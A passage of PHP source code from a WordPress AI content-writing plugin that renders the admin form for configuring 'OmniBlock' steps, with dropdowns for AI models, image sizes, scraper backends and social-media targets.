str_replace('%%webhook_url%%', '<span class="cr_red">' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '</span>', $card_id['description']); } $output .= '">' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_attr($card_id['name']) . '</div><p class="card-desc">' . $card_id['description'] . '</p><div class="ai-collapsible-holder"><button class="aicollapsible" title="' . esc_html__('Show/Hide Parameters', 'aiomatic-automatic-ai-content-writer') . '"><img class="controls-icon" src="' . plugin_dir_url( __FILE__ ) . '../images/controls.png' . '"></button></div><div class="aicollapsible-parameters">'; $output .= '<h3>' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '</div></div></h3><hr/>'; $first = false; foreach($card_id['parameters'] as $name => $card_type) { $output .= '<h4>' . esc_html($card_type['title']) . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html($card_type['description']) . '</div></div></h4>'; if($card_type['type'] == 'text') { $randval = uniqid(); $output .= '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; $output .= '<input type="text" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '" id="xai' . $randval . '">'; $output .= '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p></div>'; $output .= '</div>'; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $additional = ''; if($name == 'prompt' && $card_id['id'] == 'ai_text_foreach') { $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%current_input_line_counter%%</p>'; $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%current_input_line%%</p>'; $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%all_input_lines%%</p>'; } $output .= '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; $output .= '<textarea data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" placeholder="' . esc_html($card_type['placeholder']) . '" id="xai' . $randval . '">' . esc_textarea($card_type['default_value']) . '</textarea>'; $output .= '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p>' . $additional . '</div>'; $output .= '</div>'; } elseif($card_type['type'] == 'model_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="xa' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'model_select_function') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="xa' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models_function as $modelx) { $output .= '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'assistant_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="sel_xa' . $assistant_helper . '" onchange="assistantChanged(\'xa' . $assistant_helper . '\');" class="' . esc_attr($name) . ' cr_width_full">'; if($all_assistants === false) { $output .= '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { $output .= '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value=""'; if('' == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { $output .= '<option value="' . $myassistant->ID .'"'; if($myassistant->ID == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($myassistant->post_title); $output .= '</option>'; } } } $output .= '</select>'; } elseif($card_type['type'] == 'dalle_image_size_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'stable_image_size_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'midjourney_image_size_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_midjourney_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'stable_video_size_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_video_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'scraper_type') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="scraper_selector ' . esc_attr($name) . ' cr_width_full" data-id-str="' . esc_html($cont) . '" data-source-field-id="ur' . $urlrandval . '" data-target-field-id="' . $assistant_helper . '">'; foreach($all_scraper_types as $index => $modelx) { $output .= '<option value="' . esc_attr($index) .'"'; if($index == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'scraper_string') { $output .= '<input type="text" data-clone-index="xc' . uniqid() . '" id="st' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'number') { $output .= '<input type="number" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'checkbox') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $output .= '<option value="0"'; if('0' == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("No", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="1"'; if('1' == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Yes", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '</select>'; } elseif($card_type['type'] == 'dalle_image_model_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'stable_image_model_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'status_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $output .= '<option value="publish"'; if("publish" == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pending"'; if("pending" == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if("draft" == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if("private" == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if("trash" == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '</select>'; } elseif($card_type['type'] == 'type_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(get_post_types( '', 'names' ) as $modelx) { if(strstr($modelx, 'aiomatic_')) { continue; } $output .= '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'format_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_formats as $modelx => $namex) { if(strstr($modelx, 'aiomatic_')) { continue; } $output .= '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($namex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'amazon_country_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_codes() as $key => $modelx) { $output .= '<option value="' . $key .'"'; if($key == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_sorts() as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($value == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'yt_community_selector') { $community_types = array('text' => 'Text', 'image' => 'Image'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'reddit_selector') { $reddit_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($reddit_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'method_selector') { $reddit_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($reddit_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'content_type_selector') { $reddit_types = array('JSON' => 'JSON', 'form' => 'Form Data'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($reddit_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'facebook_page_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $store = get_option('fbomatic_page_ids', false); if($store !== FALSE) { $store = explode(',', $store); $fcount = count($store); for($i = 0; $i < $fcount; $i++) { $exploding = explode('-', $store[$i]); if(!isset($exploding[2])) { continue; } $output .= '<option value="' . esc_html($exploding[0]) . '"'; if($exploding[0] == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . esc_html($exploding[2]) . '</option>'; } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the F-omatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'location_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('local' => 'local'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $locations['amazon'] = 'Amazon S3'; $locations['wasabi'] = 'Wasabi'; $locations['cloudflare'] = 'CloudFlare'; $locations['digital'] = 'Digital Ocean'; } foreach($locations as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . ucfirst(esc_html($name)) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $values = $card_type['values']; foreach($values as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . esc_html($name) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'file_type_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('txt' => 'txt', 'html' => 'html', 'doc' => 'doc', 'pdf' => 'pdf'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } foreach($locations as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { $output .= " selected"; } if ($id == 'pdf' && !is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { $output .= " disabled title='This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active'"; } $output .= '>' . esc_html($name) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; if(empty($_GLOBALS['omni_files'])) { $output .= '<option disabled selected>' . esc_html__('No files added, add new files in the \'OmniBlock Files\' tab', 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value="random"'; if('random' == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . esc_html__('Random', 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="latest"'; if('latest' == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . esc_html__('Latest', 'aiomatic-automatic-ai-content-writer') . '</option>'; } foreach($_GLOBALS['omni_files'] as $id => $name) { $output .= '<option value="' . esc_html($name->ID) . '"'; if($name->ID == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . esc_html($name->post_title) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'pinterest_board_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('pinterestomatic_public_boards', false); if($boards !== FALSE) { foreach($boards as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . esc_html($name) . '</option>'; } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the Pinterestomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'gpb_page_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('businessomatic_my_business_list', false); if($boards !== FALSE) { foreach($boards as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { $output .= " selected"; } $output .= '>' . esc_html($name) . '</option>'; } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the Businessomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'linkedin_page_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $companies = get_option('linkedinomatic_my_companies', array()); if(is_array($companies) && count($companies) > 0) { foreach($companies as $cmp_id => $cmp_name) { if($cmp_name == 'Profile Page') { $output .= '<option value="' . esc_attr($cmp_id) . '"'; if($cmp_id == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($cmp_name) . '</option>'; } else { $output .= '<option value="xxxLinkedinomaticxxx' . esc_attr($cmp_id) . '"'; if('xxxLinkedinomaticxxx' . $cmp_id == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html($cmp_name) . '</option>'; } } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the Linkedinomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'language_selector') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $i = 0; foreach ($language_names as $lang) { $output .= '<option value="' . esc_html($language_codes[$i]) . '"'; if ($card_type['default_value'] == $language_codes[$i]) { $output .= ' selected'; } $output .= '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { $output .= '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($card_type['default_value'] == $language_codes_deepl[$i]) { $output .= ' selected'; } $output .= '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { $output .= '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($card_type['default_value'] == $language_codes_bing[$i]) { $output .= ' selected'; } $output .= '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } $output .= '</select>'; } elseif($card_type['type'] == 'url') { $randval = uniqid(); $output .= '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; $output .= '<input type="url" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' ur' . esc_attr($urlrandval) . ' cr_width_full" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '" id="xai' . $randval . '">'; $output .= '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p></div>'; $output .= '</div>'; } elseif($card_type['type'] == 'scraper_select') { $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="sc' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; $output .= '<option value="0"'; if('0' == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("WordPress (Default)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="1"'; if('1' == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("PhantomJS (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="2"'; if('2' == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Puppeteer (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="3"'; if('3' == $card_type['default_value']) { $output .= ' selected'; } $output .= '>' . esc_html__("Tor (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="4"'; if('4' == $card_type['default_value']) { $output .= ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } $output .= '>' . esc_html__("Puppeteer (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } $output .= '</option>'; $output .= '<option value="5"'; if('5' == $card_type['default_value']) { $output .= ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } $output .= '>' . esc_html__("Tor (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } $output .= '</option>'; $output .= '<option value="6"'; if('6' == $card_type['default_value']) { $output .= ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } $output .= '>'; $output .= esc_html__("PhantomJS (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } $output .= '</option>'; $output .= '</select>'; } } $critical = false; if(isset($card_id['parameters']['critical']) && $card_id['parameters']['critical'] == '1') { $critical = true; } $output .= '<h4>' . esc_html__("Critical", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to generate its content correctly and it fails, it will cause the entire OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, the execution of blocks will continue, the result of the failed OmniBlock will be blank.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; $output .= ' <input type="checkbox" class="critical-blocks" data-clone-index="xc' . uniqid() . '" id="critical-' . esc_attr($save_id) . '"'; if($critical == true) { $output .= ' checked'; } $output .= '>'; $output .= '</h4>'; $disabled = false; if(isset($card_id['parameters']['disabled']) && $card_id['parameters']['disabled'] == '1') { $disabled = true; } $output .= '<h4>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; $output .= ' <input type="checkbox" class="disabled-blocks" data-clone-index="xc' . uniqid() . '" id="disabled-' . esc_attr($save_id) . '"'; if($disabled == true) { $output .= ' checked'; } $output .= '>'; $output .= '</h4>'; $output .= '</div> <button disabled class="move-up-btn" title="Move Up"> <!-- SVG for move up --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-up" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 4.646a.5.5 0 0 1 .708 0L12 8.292a.5.5 0 0 1-.708.708L8 5.707V12.5a.5.5 0 0 1-1 0V5.707L4.707 9a.5.5 0 1 1-.708-.708l3.647-3.646z"/> </svg> </button> <button disabled class="move-down-btn" title="Move Down"> <!-- SVG for move down --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-down" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 11.354a.5.5 0 0 1-.708 0L3.293 7.707a.5.5 0 1 1 .708-.708L7 10.293V3.5a.5.5 0 0 1 1 0v6.793l2.999-3.294a.5.5 0 0 1 .708.708l-4 4.147z"/> </svg> </button> <button disabled class="delete-btn" title="' . esc_html__('Delete', 'aiomatic-automatic-ai-content-writer') . '">X</button><div class="ai_common_holder"><div class="step-number"></div><div class="aiomatic-run-now"></div><div class="id-shower"></div></div></li></li>'; } } } $output .= '</ul> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Select what type of block you want to add.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("OmniBlock Type To Add (Drag And Drop):", 'aiomatic-automatic-ai-content-writer') . '</b> <div class="ai-right-flex"><button id="add-new-btn' . esc_html($cont) . '" class="button page-title-action" title="' . esc_html__('Add the above OmniBlock to the Queue', 'aiomatic-automatic-ai-content-writer') . '">' . esc_html__('Add OmniBlock', 'aiomatic-automatic-ai-content-writer') . '</button></div> </td> <td> <select title="' . esc_html__('Change the OmniBlock Type which is displayed, which will be able to be added to the OmniBlock Queue.', 'aiomatic-automatic-ai-content-writer') . '" class="cr_width_full" id="omni_select_block_type' . esc_html($cont) . '" onchange="aiBlockTypeChangeHandler(\'' . esc_html($cont) . '\');"> <option value="" disabled selected>' . esc_html__("Select a block type to add", 'aiomatic-automatic-ai-content-writer') . '</option>'; $last_btype = ''; foreach ($default_block_types as $card_id) { if($card_id['category'] !== $last_btype) { $output .= '<option disabled value="">' . esc_html($card_id['category']) . '</option>'; $last_btype = $card_id['category']; } $output .= '<option value="' . sanitize_title($card_id['name']) . '">' . esc_html($card_id['name']) . '</option>'; } $output .= '</select> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr><td colspan="2"><h2>' . esc_html__('Additional Parameters', 'aiomatic-automatic-ai-content-writer') . ':</h2></td></tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Add additional shortcodes which will be available in the OmniBlocks. Add multiple shortcodes on a new line. In the above OmniBlocks, you can use the shortcodes in this format: %%shortcode_name%%. The format is: shortcode_name => shortcode_value1, shortcode_value2", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("Additional Shortcodes:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td> <textarea rows="1" title="' . esc_html__('Set up additional shortcodes which will be available in OmniBlocks.', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_omni_list[more_keywords][]" onchange="updateSortableInputAI(' . esc_html($cont) . ');" id="more_keywords' . esc_html($cont) . '" placeholder="shortcode_name => shortcode_value1, shortcode_value2" class="cr_width_full">' . esc_textarea($more_keywords) . '</textarea> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr><td colspan="2"><h2>' . esc_html__('AI OmniBlock Templates Manager', 'aiomatic-automatic-ai-content-writer') . ':</h2></td></tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Select a OmniBlock template to be used in this rule. You can import the default templates which come bundled with the plugin, from the above 